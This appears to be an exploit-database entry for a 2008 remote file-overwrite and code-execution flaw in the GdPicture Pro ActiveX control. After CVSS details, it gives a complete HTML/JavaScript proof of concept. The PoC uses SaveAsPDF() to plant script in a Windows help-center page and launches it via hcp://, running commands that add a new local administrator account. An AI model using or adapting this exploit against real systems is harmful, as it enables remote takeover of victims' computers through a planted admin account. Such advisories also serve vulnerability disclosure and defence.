GdPicture Pro ActiveX (gdpicture4s.ocx) File Overwrite / Exec Exploit

2008-10-07 / 2008-10-08
Credit: EgiX
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- --------------------------------------------------------------------------------- GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution Exploit --------------------------------------------------------------------------------- author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: ProgID...: GdPicture4S.Imaging Description: SaveAsPDF() method allow to create / overwrite file through sFilePath argument. By using other arguments, such as sTitle, an attacker could be inject html code and execute it using the hcp:// protocol (tecnique discovered by rgod). Also GdPicturePro5.Imaging is prone to this vulnerability, but it doesn't implements the IObjectSafety interface. Tested on Windows XP SP2 with IE 6/7 Object safety report: Report for Clsid: {E8512363-3581-42EF-A43D-990E7935C8BE} RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPStorage Safe: Safe for untrusted: caller,data [*] A special thanks goes to shinnai, for his patience :) --> <object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE' id='test'></object> <script language='javascript'> var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add"; var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm"; var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" + "\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" + "\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" + "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00"; var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" + "<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>"; test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the nag screen test.CreateImageFromString(BMP); if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm"; </script>


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top